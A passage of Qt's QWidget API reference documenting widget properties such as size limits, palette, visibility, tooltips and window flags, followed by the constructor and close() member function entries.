`[read-only]` isActiveWindow : const bool

 This property holds whether this widget's window is the active window

 The active window is the window that contains the widget that has keyboard focus (The window may still have focus if it has no widgets or none of its widgets accepts keyboard focus).

 When popup windows are visible, this property is `true` for both the active window *and* for the popup.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isActiveWindow**() const |

 **See also** [activateWindow](qwidget#activateWindow)() and [QApplication::activeWindow](qapplication#activeWindow)().

 ### 
layoutDirection : [Qt::LayoutDirection](qt#LayoutDirection-enum)

 This property holds the layout direction for this widget.

  **Note:** This method no longer affects text layout direction since Qt 4.7.

  By default, this property is set to [Qt::LeftToRight](qt#LayoutDirection-enum).

 When the layout direction is set on a widget, it will propagate to the widget's children, but not to a child that is a window and not to a child for which setLayoutDirection() has been explicitly called. Also, child widgets added *after* setLayoutDirection() has been called for the parent do not inherit the parent's layout direction.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::LayoutDirection  | **layoutDirection**() const |
|  void  | **setLayoutDirection**(Qt::LayoutDirection *direction*) |
|  void  | **unsetLayoutDirection**() |

 **See also** [QApplication::layoutDirection](qguiapplication#layoutDirection-prop).

 ### 
locale : [QLocale](qlocale)

 This property holds the widget's locale

 As long as no special locale has been set, this is either the parent's locale or (if this widget is a top level widget), the default locale.

 If the widget displays dates or numbers, these should be formatted using the widget's locale.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QLocale  | **locale**() const |
|  void  | **setLocale**(const QLocale &*locale*) |
|  void  | **unsetLocale**() |

 **See also** [QLocale](qlocale) and [QLocale::setDefault](qlocale#setDefault)().

 ### 
`[read-only]` maximized : const bool

 This property holds whether this widget is maximized

 This property is only relevant for windows.

  **Note:** Due to limitations on some window systems, this does not always report the expected results (e.g., if the user on X11 maximizes the window via the window manager, Qt has no way of distinguishing this from any other resize). This is expected to improve as window manager protocols evolve.

  By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isMaximized**() const |

 **See also** [windowState](qwidget#windowState)(), [showMaximized](qwidget#showMaximized)(), [visible](qwidget#visible-prop), [show](qwidget#show)(), [hide](qwidget#hide)(), [showNormal](qwidget#showNormal)(), and [minimized](qwidget#minimized-prop).

 ### 
maximumHeight : int

 This property holds the widget's maximum height in pixels

 This property corresponds to the height held by the [maximumSize](qwidget#maximumSize-prop) property.

 By default, this property contains a value of 16777215.

  **Note:** The definition of the `QWIDGETSIZE_MAX` macro limits the maximum size of widgets.

  **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **maximumHeight**() const |
|  void  | **setMaximumHeight**(int *maxh*) |

 **See also** [maximumSize](qwidget#maximumSize-prop) and [maximumWidth](qwidget#maximumWidth-prop).

 ### 
maximumSize : [QSize](qsize)

 This property holds the widget's maximum size in pixels

 The widget cannot be resized to a larger size than the maximum widget size.

 By default, this property contains a size in which both width and height have values of 16777215.

  **Note:** The definition of the `QWIDGETSIZE_MAX` macro limits the maximum size of widgets.

  **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **maximumSize**() const |
|  void  | **setMaximumSize**(const QSize &) |
|  void  | **[setMaximumSize](qwidget#setMaximumSize-1)**(int *maxw*, int *maxh*) |

 **See also** [maximumWidth](qwidget#maximumWidth-prop), [maximumHeight](qwidget#maximumHeight-prop), [minimumSize](qwidget#minimumSize-prop), and [sizeIncrement](qwidget#sizeIncrement-prop).

 ### 
maximumWidth : int

 This property holds the widget's maximum width in pixels

 This property corresponds to the width held by the [maximumSize](qwidget#maximumSize-prop) property.

 By default, this property contains a value of 16777215.

  **Note:** The definition of the `QWIDGETSIZE_MAX` macro limits the maximum size of widgets.

  **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **maximumWidth**() const |
|  void  | **setMaximumWidth**(int *maxw*) |

 **See also** [maximumSize](qwidget#maximumSize-prop) and [maximumHeight](qwidget#maximumHeight-prop).

 ### 
`[read-only]` minimized : const bool

 This property holds whether this widget is minimized (iconified)

 This property is only relevant for windows.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isMinimized**() const |

 **See also** [showMinimized](qwidget#showMinimized)(), [visible](qwidget#visible-prop), [show](qwidget#show)(), [hide](qwidget#hide)(), [showNormal](qwidget#showNormal)(), and [maximized](qwidget#maximized-prop).

 ### 
minimumHeight : int

 This property holds the widget's minimum height in pixels

 This property corresponds to the height held by the [minimumSize](qwidget#minimumSize-prop) property.

 By default, this property has a value of 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **minimumHeight**() const |
|  void  | **setMinimumHeight**(int *minh*) |

 **See also** [minimumSize](qwidget#minimumSize-prop) and [minimumWidth](qwidget#minimumWidth-prop).

 ### 
minimumSize : [QSize](qsize)

 This property holds the widget's minimum size

 The widget cannot be resized to a smaller size than the minimum widget size. The widget's size is forced to the minimum size if the current size is smaller.

 The minimum size set by this function will override the minimum size defined by [QLayout](qlayout). In order to unset the minimum size, use a value of `QSize(0, 0)`.

 By default, this property contains a size with zero width and height.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **minimumSize**() const |
|  void  | **setMinimumSize**(const QSize &) |
|  void  | **[setMinimumSize](qwidget#setMinimumSize-1)**(int *minw*, int *minh*) |

 **See also** [minimumWidth](qwidget#minimumWidth-prop), [minimumHeight](qwidget#minimumHeight-prop), [maximumSize](qwidget#maximumSize-prop), and [sizeIncrement](qwidget#sizeIncrement-prop).

 ### 
`[read-only]` minimumSizeHint : const [QSize](qsize)

 This property holds the recommended minimum size for the widget

 If the value of this property is an invalid size, no minimum size is recommended.

 The default implementation of minimumSizeHint() returns an invalid size if there is no layout for this widget, and returns the layout's minimum size otherwise. Most built-in widgets reimplement minimumSizeHint().

 [QLayout](qlayout) will never resize a widget to a size smaller than the minimum size hint unless [minimumSize](qwidget#minimumSize-prop)() is set or the size policy is set to QSizePolicy::Ignore. If [minimumSize](qwidget#minimumSize-prop)() is set, the minimum size hint will be ignored.

 **Access functions:**

 

|  |  |
| --- | --- |
|  virtual QSize  | **minimumSizeHint**() const |

 **See also** [QSize::isValid](qsize#isValid)(), [resize](qwidget#size-prop)(), [setMinimumSize](qwidget#minimumSize-prop)(), and [sizePolicy](qwidget#sizePolicy-prop)().

 ### 
minimumWidth : int

 This property holds the widget's minimum width in pixels

 This property corresponds to the width held by the [minimumSize](qwidget#minimumSize-prop) property.

 By default, this property has a value of 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **minimumWidth**() const |
|  void  | **setMinimumWidth**(int *minw*) |

 **See also** [minimumSize](qwidget#minimumSize-prop) and [minimumHeight](qwidget#minimumHeight-prop).

 ### 
`[read-only]` modal : const bool

 This property holds whether the widget is a modal widget

 This property only makes sense for windows. A modal widget prevents widgets in all other windows from getting any input.

 By default, this property is `false`.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isModal**() const |

 **See also** [isWindow](qwidget#isWindow)(), [windowModality](qwidget#windowModality-prop), and [QDialog](qdialog).

 ### 
mouseTracking : bool

 This property holds whether mouse tracking is enabled for the widget

 If mouse tracking is disabled (the default), the widget only receives mouse move events when at least one mouse button is pressed while the mouse is being moved.

 If mouse tracking is enabled, the widget receives mouse move events even if no buttons are pressed.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasMouseTracking**() const |
|  void  | **setMouseTracking**(bool *enable*) |

 **See also** [mouseMoveEvent](qwidget#mouseMoveEvent)().

 ### 
`[read-only]` normalGeometry : const [QRect](qrect)

 This property holds the geometry of the widget as it will appear when shown as a normal (not maximized or full screen) top-level widget

 If the widget is already in this state the normal geometry will reflect the widget's current [geometry](qwidget#geometry-prop)().

 For child widgets this property always holds an empty rectangle.

 By default, this property contains an empty rectangle.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **normalGeometry**() const |

 **See also** [QWidget::windowState](qwidget#windowState)() and [QWidget::geometry](qwidget#geometry-prop).

 ### 
palette : [QPalette](qpalette)

 This property holds the widget's palette

 This property describes the widget's palette. The palette is used by the widget's style when rendering standard components, and is available as a means to ensure that custom widgets can maintain consistency with the native platform's look and feel. It's common that different platforms, or different styles, have different palettes.

 When you assign a new palette to a widget, the color roles from this palette are combined with the widget's default palette to form the widget's final palette. The palette entry for the widget's background role is used to fill the widget's background (see [QWidget::autoFillBackground](qwidget#autoFillBackground-prop)), and the foreground role initializes [QPainter](qpainter)'s pen.

 The default depends on the system environment. [QApplication](qapplication) maintains a system/theme palette which serves as a default for all widgets. There may also be special palette defaults for certain types of widgets (e.g., on Windows Vista, all classes that derive from [QMenuBar](qmenubar) have a special default palette). You can also define default palettes for widgets yourself by passing a custom palette and the name of a widget to [QApplication::setPalette](qapplication#setPalette)(). Finally, the style always has the option of polishing the palette as it's assigned (see [QStyle::polish](qstyle#polish)()).

 [QWidget](qwidget) propagates explicit palette roles from parent to child. If you assign a brush or color to a specific role on a palette and assign that palette to a widget, that role will propagate to all the widget's children, overriding any system defaults for that role. Note that palettes by default don't propagate to windows (see [isWindow](qwidget#isWindow)()) unless the [Qt::WA\_WindowPropagation](qt#WidgetAttribute-enum) attribute is enabled.

 [QWidget](qwidget)'s palette propagation is similar to its font propagation.

 The current style, which is used to render the content of all standard Qt widgets, is free to choose colors and brushes from the widget palette, or in some cases, to ignore the palette (partially, or completely). In particular, certain styles like GTK style, Mac style, and Windows Vista style, depend on third party APIs to render the content of widgets, and these styles typically do not follow the palette. Because of this, assigning roles to a widget's palette is not guaranteed to change the appearance of the widget. Instead, you may choose to apply a [styleSheet](stylesheet).

  **Warning:** Do not use this function in conjunction with [Qt Style Sheets](stylesheet). When using style sheets, the palette of a widget can be customized using the "color", "background-color", "selection-color", "selection-background-color" and "alternate-background-color".

  **Access functions:**

 

|  |  |
| --- | --- |
|  const QPalette & | **palette**() const |
|  void  | **setPalette**(const QPalette &) |

 **See also** [QGuiApplication::palette](qguiapplication#palette)(), [QWidget::font](qwidget#font-prop)(), and [Qt Style Sheets](stylesheet).

 ### 
pos : [QPoint](qpoint)

 This property holds the position of the widget within its parent widget

 If the widget is a window, the position is that of the widget on the desktop, including its frame.

 When changing the position, the widget, if visible, receives a move event ([moveEvent](qwidget#moveEvent)()) immediately. If the widget is not currently visible, it is guaranteed to receive an event before it is shown.

 By default, this property contains a position that refers to the origin.

  **Warning:** Calling move() or [setGeometry](qwidget#geometry-prop)() inside [moveEvent](qwidget#moveEvent)() can lead to infinite recursion.

  See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QPoint  | **pos**() const |
|  void  | **[move](qwidget#move-1)**(int *x*, int *y*) |
|  void  | **move**(const QPoint &) |

 **See also** [frameGeometry](qwidget#frameGeometry-prop), [size](qwidget#size-prop), [x](qwidget#x-prop)(), and [y](qwidget#y-prop)().

 ### 
`[read-only]` rect : const [QRect](qrect)

 This property holds the internal geometry of the widget excluding any window frame

 The rect property equals [QRect](qrect)(0, 0, [width](qwidget#width-prop)(), [height](qwidget#height-prop)()).

 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 By default, this property contains a value that depends on the user's platform and screen geometry.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **rect**() const |

 **See also** [size](qwidget#size-prop).

 ### 
size : [QSize](qsize)

 This property holds the size of the widget excluding any window frame

 If the widget is visible when it is being resized, it receives a resize event ([resizeEvent](qwidget#resizeEvent)()) immediately. If the widget is not currently visible, it is guaranteed to receive an event before it is shown.

 The size is adjusted if it lies outside the range defined by [minimumSize](qwidget#minimumSize-prop)() and [maximumSize](qwidget#maximumSize-prop)().

 By default, this property contains a value that depends on the user's platform and screen geometry.

  **Warning:** Calling resize() or [setGeometry](qwidget#geometry-prop)() inside [resizeEvent](qwidget#resizeEvent)() can lead to infinite recursion.

   **Note:** Setting the size to `QSize(0, 0)` will cause the widget to not appear on screen. This also applies to windows.

  **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **size**() const |
|  void  | **[resize](qwidget#resize-1)**(int *w*, int *h*) |
|  void  | **resize**(const QSize &) |

 **See also** [pos](qwidget#pos-prop), [geometry](qwidget#geometry-prop), [minimumSize](qwidget#minimumSize-prop), [maximumSize](qwidget#maximumSize-prop), [resizeEvent](qwidget#resizeEvent)(), and [adjustSize](qwidget#adjustSize)().

 ### 
`[read-only]` sizeHint : const [QSize](qsize)

 This property holds the recommended size for the widget

 If the value of this property is an invalid size, no size is recommended.

 The default implementation of sizeHint() returns an invalid size if there is no layout for this widget, and returns the layout's preferred size otherwise.

 **Access functions:**

 

|  |  |
| --- | --- |
|  virtual QSize  | **sizeHint**() const |

 **See also** [QSize::isValid](qsize#isValid)(), [minimumSizeHint](qwidget#minimumSizeHint-prop)(), [sizePolicy](qwidget#sizePolicy-prop)(), [setMinimumSize](qwidget#minimumSize-prop)(), and [updateGeometry](qwidget#updateGeometry)().

 ### 
sizeIncrement : [QSize](qsize)

 This property holds the size increment of the widget

 When the user resizes the window, the size will move in steps of sizeIncrement().[width](qwidget#width-prop)() pixels horizontally and sizeIncrement.[height](qwidget#height-prop)() pixels vertically, with [baseSize](qwidget#baseSize-prop)() as the basis. Preferred widget sizes are for non-negative integers *i* and *j*:

 
```
width = baseSize().width() + i * sizeIncrement().width();
height = baseSize().height() + j * sizeIncrement().height();
```
 Note that while you can set the size increment for all widgets, it only affects windows.

 By default, this property contains a size with zero width and height.

  **Warning:** The size increment has no effect under Windows, and may be disregarded by the window manager on X11.

  **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **sizeIncrement**() const |
|  void  | **setSizeIncrement**(const QSize &) |
|  void  | **[setSizeIncrement](qwidget#setSizeIncrement-1)**(int *w*, int *h*) |

 **See also** [size](qwidget#size-prop), [minimumSize](qwidget#minimumSize-prop), and [maximumSize](qwidget#maximumSize-prop).

 ### 
sizePolicy : [QSizePolicy](qsizepolicy)

 This property holds the default layout behavior of the widget

 If there is a [QLayout](qlayout) that manages this widget's children, the size policy specified by that layout is used. If there is no such [QLayout](qlayout), the result of this function is used.

 The default policy is Preferred/Preferred, which means that the widget can be freely resized, but prefers to be the size [sizeHint](qwidget#sizeHint-prop)() returns. Button-like widgets set the size policy to specify that they may stretch horizontally, but are fixed vertically. The same applies to lineedit controls (such as [QLineEdit](qlineedit), [QSpinBox](qspinbox) or an editable [QComboBox](qcombobox)) and other horizontally orientated widgets (such as [QProgressBar](qprogressbar)). [QToolButton](qtoolbutton)'s are normally square, so they allow growth in both directions. Widgets that support different directions (such as [QSlider](qslider), [QScrollBar](qscrollbar) or QHeader) specify stretching in the respective direction only. Widgets that can provide scroll bars (usually subclasses of [QScrollArea](qscrollarea)) tend to specify that they can use additional space, and that they can make do with less than [sizeHint](qwidget#sizeHint-prop)().

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSizePolicy  | **sizePolicy**() const |
|  void  | **setSizePolicy**(QSizePolicy) |
|  void  | **[setSizePolicy](qwidget#setSizePolicy-1)**(QSizePolicy::Policy *horizontal*, QSizePolicy::Policy *vertical*) |

 **See also** [sizeHint](qwidget#sizeHint-prop)(), [QLayout](qlayout), [QSizePolicy](qsizepolicy), and [updateGeometry](qwidget#updateGeometry)().

 ### 
statusTip : [QString](qstring)

 This property holds the widget's status tip

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **statusTip**() const |
|  void  | **setStatusTip**(const QString &) |

 **See also** [toolTip](qwidget#toolTip-prop) and [whatsThis](qwidget#whatsThis-prop).

 ### 
styleSheet : [QString](qstring)

 This property holds the widget's style sheet

 The style sheet contains a textual description of customizations to the widget's style, as described in the [Qt Style Sheets](stylesheet) document.

 Since Qt 4.5, Qt style sheets fully supports macOS.

  **Warning:** Qt style sheets are currently not supported for custom [QStyle](qstyle) subclasses. We plan to address this in some future release.

  **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **styleSheet**() const |
|  void  | **setStyleSheet**(const QString &*styleSheet*) |

 **See also** [setStyle](qwidget#setStyle)(), [QApplication::styleSheet](qapplication#styleSheet-prop), and [Qt Style Sheets](stylesheet).

 ### 
`[since 5.9]` tabletTracking : bool

 This property holds whether tablet tracking is enabled for the widget

 If tablet tracking is disabled (the default), the widget only receives tablet move events when the stylus is in contact with the tablet, or at least one stylus button is pressed, while the stylus is being moved.

 If tablet tracking is enabled, the widget receives tablet move events even while hovering in proximity. This is useful for monitoring position as well as the auxiliary properties such as rotation and tilt, and providing feedback in the UI.

 This property was introduced in Qt 5.9.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **hasTabletTracking**() const |
|  void  | **setTabletTracking**(bool *enable*) |

 **See also** [tabletEvent](qwidget#tabletEvent)().

 ### 
toolTip : [QString](qstring)

 This property holds the widget's tooltip

 Note that by default tooltips are only shown for widgets that are children of the active window. You can change this behavior by setting the attribute [Qt::WA\_AlwaysShowToolTips](qt#WidgetAttribute-enum) on the *window*, not on the widget with the tooltip.

 If you want to control a tooltip's behavior, you can intercept the [event](qwidget#event)() function and catch the [QEvent::ToolTip](qevent#Type-enum) event (e.g., if you want to customize the area for which the tooltip should be shown).

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **toolTip**() const |
|  void  | **setToolTip**(const QString &) |

 **See also** [QToolTip](qtooltip), [statusTip](qwidget#statusTip-prop), and [whatsThis](qwidget#whatsThis-prop).

 ### 
`[since 5.2]` toolTipDuration : int

 This property holds the widget's tooltip duration

 Specifies how long time the tooltip will be displayed, in milliseconds. If the value is -1 (default) the duration is calculated depending on the length of the tooltip.

 This property was introduced in Qt 5.2.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **toolTipDuration**() const |
|  void  | **setToolTipDuration**(int *msec*) |

 **See also** [toolTip](qwidget#toolTip-prop).

 ### 
updatesEnabled : bool

 This property holds whether updates are enabled

 An updates enabled widget receives paint events and has a system background; a disabled widget does not. This also implies that calling [update](qwidget#update)() and [repaint](qwidget#repaint)() has no effect if updates are disabled.

 By default, this property is `true`.

 setUpdatesEnabled() is normally used to disable updates for a short period of time, for instance to avoid screen flicker during large changes. In Qt, widgets normally do not generate screen flicker, but on X11 the server might erase regions on the screen when widgets get hidden before they can be replaced by other widgets. Disabling updates solves this.

 Example:

 
```
setUpdatesEnabled(false);
bigVisualChanges();
setUpdatesEnabled(true);
```
 Disabling a widget implicitly disables all its children. Enabling a widget enables all child widgets *except* top-level widgets or those that have been explicitly disabled. Re-enabling updates implicitly calls [update](qwidget#update)() on the widget.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **updatesEnabled**() const |
|  void  | **setUpdatesEnabled**(bool *enable*) |

 **See also** [paintEvent](qwidget#paintEvent)().

 ### 
visible : bool

 This property holds whether the widget is visible

 Calling setVisible(true) or [show](qwidget#show)() sets the widget to visible status if all its parent widgets up to the window are visible. If an ancestor is not visible, the widget won't become visible until all its ancestors are shown. If its size or position has changed, Qt guarantees that a widget gets move and resize events just before it is shown. If the widget has not been resized yet, Qt will adjust the widget's size to a useful default using [adjustSize](qwidget#adjustSize)().

 Calling setVisible(false) or [hide](qwidget#hide)() hides a widget explicitly. An explicitly hidden widget will never become visible, even if all its ancestors become visible, unless you show it.

 A widget receives show and hide events when its visibility status changes. Between a hide and a show event, there is no need to waste CPU cycles preparing or displaying information to the user. A video application, for example, might simply stop generating new frames.

 A widget that happens to be obscured by other windows on the screen is considered to be visible. The same applies to iconified windows and windows that exist on another virtual desktop (on platforms that support this concept). A widget receives spontaneous show and hide events when its mapping status is changed by the window system, e.g. a spontaneous hide event when the user minimizes the window, and a spontaneous show event when the window is restored again.

 You almost never have to reimplement the setVisible() function. If you need to change some settings before a widget is shown, use [showEvent](qwidget#showEvent)() instead. If you need to do some delayed initialization use the Polish event delivered to the [event](qwidget#event)() function.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isVisible**() const |
|  virtual void  | **setVisible**(bool *visible*) |

 **See also** [show](qwidget#show)(), [hide](qwidget#hide)(), [isHidden](qwidget#isHidden)(), [isVisibleTo](qwidget#isVisibleTo)(), [isMinimized](qwidget#minimized-prop)(), [showEvent](qwidget#showEvent)(), and [hideEvent](qwidget#hideEvent)().

 ### 
whatsThis : [QString](qstring)

 This property holds the widget's What's This help text.

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **whatsThis**() const |
|  void  | **setWhatsThis**(const QString &) |

 **See also** [QWhatsThis](qwhatsthis), [QWidget::toolTip](qwidget#toolTip-prop), and [QWidget::statusTip](qwidget#statusTip-prop).

 ### 
`[read-only]` width : const int

 This property holds the width of the widget excluding any window frame

 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

  **Note:** Do not use this function to find the width of a screen on a multi-screen desktop. See [QScreen](qscreen) for details.

  By default, this property contains a value that depends on the user's platform and screen geometry.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **width**() const |

 **See also** [geometry](qwidget#geometry-prop), [height](qwidget#height-prop), and [size](qwidget#size-prop).

 ### 
windowFilePath : [QString](qstring)

 This property holds the file path associated with a widget

 This property only makes sense for windows. It associates a file path with a window. If you set the file path, but have not set the window title, Qt sets the window title to the file name of the specified path, obtained using [QFileInfo::fileName](qfileinfo#fileName)().

 If the window title is set at any point, then the window title takes precedence and will be shown instead of the file path string.

 Additionally, on macOS, this has an added benefit that it sets the [proxy icon](http://developer.apple.com/documentation/UserExperience/Conceptual/OSXHIGuidelines/XHIGWindows/chapter_17_section_3.html) for the window, assuming that the file path exists.

 If no file path is set, this property contains an empty string.

 By default, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **windowFilePath**() const |
|  void  | **setWindowFilePath**(const QString &*filePath*) |

 **See also** [windowTitle](qwidget#windowTitle-prop) and [windowIcon](qwidget#windowIcon-prop).

 ### 
windowFlags : [Qt::WindowFlags](qt#WindowType-enum)

 Window flags are a combination of a type (e.g. [Qt::Dialog](qt#WindowType-enum)) and zero or more hints to the window system (e.g. [Qt::FramelessWindowHint](qt#WindowType-enum)).

 If the widget had type [Qt::Widget](qt#WindowType-enum) or [Qt::SubWindow](qt#WindowType-enum) and becomes a window ([Qt::Window](qt#WindowType-enum), [Qt::Dialog](qt#WindowType-enum), etc.), it is put at position (0, 0) on the desktop. If the widget is a window and becomes a [Qt::Widget](qt#WindowType-enum) or [Qt::SubWindow](qt#WindowType-enum), it is put at position (0, 0) relative to its parent widget.

  **Note:** This function calls [setParent](qwidget#setParent)() when changing the flags for a window, causing the widget to be hidden. You must call [show](qwidget#show)() to make the widget visible again..

  **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::WindowFlags  | **windowFlags**() const |
|  void  | **setWindowFlags**(Qt::WindowFlags *type*) |

 **See also** [windowType](qwidget#windowType)(), [setWindowFlag](qwidget#setWindowFlag)(), and [Window Flags Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-windowflags-example.html).

 ### 
windowIcon : [QIcon](qicon)

 This property holds the widget's icon

 This property only makes sense for windows. If no icon has been set, windowIcon() returns the application icon ([QApplication::windowIcon](qguiapplication#windowIcon-prop)()).

  **Note:** On macOS, window icons represent the active document, and will not be displayed unless a file path has also been set using [setWindowFilePath](qwidget#windowFilePath-prop).

  **Access functions:**

 

|  |  |
| --- | --- |
|  QIcon  | **windowIcon**() const |
|  void  | **setWindowIcon**(const QIcon &*icon*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[windowIconChanged](qwidget#windowIconChanged)**(const QIcon &*icon*) |

 **See also** [windowTitle](qwidget#windowTitle-prop) and [setWindowFilePath](qwidget#windowFilePath-prop).

 ### 
windowModality : [Qt::WindowModality](qt#WindowModality-enum)

 This property holds which windows are blocked by the modal widget

 This property only makes sense for windows. A modal widget prevents widgets in other windows from getting input. The value of this property controls which windows are blocked when the widget is visible. Changing this property while the window is visible has no effect; you must [hide](qwidget#hide)() the widget first, then [show](qwidget#show)() it again.

 By default, this property is [Qt::NonModal](qt#WindowModality-enum).

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::WindowModality  | **windowModality**() const |
|  void  | **setWindowModality**(Qt::WindowModality *windowModality*) |

 **See also** [isWindow](qwidget#isWindow)(), [QWidget::modal](qwidget#modal-prop), and [QDialog](qdialog).

 ### 
windowModified : bool

 This property holds whether the document shown in the window has unsaved changes

 A modified window is a window whose content has changed but has not been saved to disk. This flag will have different effects varied by the platform. On macOS the close button will have a modified look; on other platforms, the window title will have an '\*' (asterisk).

 The window title must contain a "[\*]" placeholder, which indicates where the '\*' should appear. Normally, it should appear right after the file name (e.g., "document1.txt[\*] - Text Editor"). If the window isn't modified, the placeholder is simply removed.

 Note that if a widget is set as modified, all its ancestors will also be set as modified. However, if you call `setWindowModified(false)` on a widget, this will not propagate to its parent because other children of the parent might have been modified.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isWindowModified**() const |
|  void  | **setWindowModified**(bool) |

 **See also** [windowTitle](qwidget#windowTitle-prop), [Qt Widgets - Application Example](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-application-example.html), [SDI Example](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-sdi-example.html), and [MDI Example](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-mdi-example.html).

 ### 
windowOpacity : double

 This property holds the level of opacity for the window.

 The valid range of opacity is from 1.0 (completely opaque) to 0.0 (completely transparent).

 By default the value of this property is 1.0.

 This feature is available on Embedded Linux, macOS, Windows, and X11 platforms that support the Composite extension.

  **Note:** On X11 you need to have a composite manager running, and the X11 specific \_NET\_WM\_WINDOW\_OPACITY atom needs to be supported by the window manager you are using.

   **Warning:** Changing this property from opaque to transparent might issue a paint event that needs to be processed before the window is displayed correctly. This affects mainly the use of [QScreen::grabWindow](qscreen#grabWindow)(). Also note that semi-transparent windows update and resize significantly slower than opaque windows.

  **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **windowOpacity**() const |
|  void  | **setWindowOpacity**(qreal *level*) |

 **See also** [setMask](qwidget#setMask)().

 ### 
windowTitle : [QString](qstring)

 This property holds the window title (caption)

 This property only makes sense for top-level widgets, such as windows and dialogs. If no caption has been set, the title is based of the [windowFilePath](qwidget#windowFilePath-prop). If neither of these is set, then the title is an empty string.

 If you use the [windowModified](qwidget#windowModified-prop) mechanism, the window title must contain a "[\*]" placeholder, which indicates where the '\*' should appear. Normally, it should appear right after the file name (e.g., "document1.txt[\*] - Text Editor"). If the [windowModified](qwidget#windowModified-prop) property is `false` (the default), the placeholder is simply removed.

 On some desktop platforms (including Windows and Unix), the application name (from [QGuiApplication::applicationDisplayName](qguiapplication#applicationDisplayName-prop)) is added at the end of the window title, if set. This is done by the QPA plugin, so it is shown to the user, but isn't part of the windowTitle string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **windowTitle**() const |
|  void  | **setWindowTitle**(const QString &) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[windowTitleChanged](qwidget#windowTitleChanged)**(const QString &*title*) |

 **See also** [windowIcon](qwidget#windowIcon-prop), [windowModified](qwidget#windowModified-prop), and [windowFilePath](qwidget#windowFilePath-prop).

 ### 
`[read-only]` x : const int

 This property holds the x coordinate of the widget relative to its parent including any window frame

 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 By default, this property has a value of 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **x**() const |

 **See also** [frameGeometry](qwidget#frameGeometry-prop), [y](qwidget#y-prop), and [pos](qwidget#pos-prop).

 ### 
`[read-only]` y : const int

 This property holds the y coordinate of the widget relative to its parent and including any window frame

 See the [Window Geometry](application-windows#window-geometry) documentation for an overview of geometry issues with windows.

 By default, this property has a value of 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **y**() const |

 **See also** [frameGeometry](qwidget#frameGeometry-prop), [x](qwidget#x-prop), and [pos](qwidget#pos-prop).

  Member Function Documentation
-----------------------------

 ### QWidget::QWidget([QWidget](qwidget#QWidget) \**parent* = nullptr, [Qt::WindowFlags](qt#WindowType-enum) *f* = Qt::WindowFlags())

 Constructs a widget which is a child of *parent*, with widget flags set to *f*.

 If *parent* is `nullptr`, the new widget becomes a window. If *parent* is another widget, this widget becomes a child window inside *parent*. The new widget is deleted when its *parent* is deleted.

 The widget flags argument, *f*, is normally 0, but it can be set to customize the frame of a window (i.e. *parent* must be `nullptr`). To customize the frame, use a value composed from the bitwise OR of any of the [window flags](qt#WindowType-enum).

 If you add a child widget to an already visible widget you must explicitly show the child to make it visible.

 Note that the X11 version of Qt may not be able to deliver all combinations of style flags on all systems. This is because on X11, Qt can only ask the window manager, and the window manager can override the application's settings. On Windows, Qt can set whatever flags you want.

 **See also** [windowFlags](qwidget#windowFlags-prop).

 ### 
`[slot]` bool QWidget::close()

 Closes this widget. Returns `true` if the widget was closed; otherwise returns `false`.

 First it sends the widget a [QCloseEvent](qcloseevent). The widget is [hidden](qwidget#hide) if it [accepts](qevent#accept) the close event. If it [ignores](qevent#ignore) the event, nothing happens. The default implementation of [QWidget::closeEvent](qwidget#closeEvent)() accepts the close event.

 If the widget has the [Qt::WA\_DeleteOnClose](qt#WidgetAttribute-enum) flag, the widget is also deleted. A close events is delivered to the widget no matter if the widget is visible or not.

 The [QGuiApplication::lastWindowClosed](qguiapplication#lastWindowClosed)() signal is emitted when the last visible primary window (i.e. window with no parent) with the [Qt::WA\_QuitOnClose](qt#WidgetAttribute-enum) attribute set is closed. By default this attribute is set for all widgets except transient windows such as splash screens, tool windows, and popup menus.

 ### 
`[signal]` void QWidget::customContextMenuRequested(const [QPoint](qpoint) &*pos*)

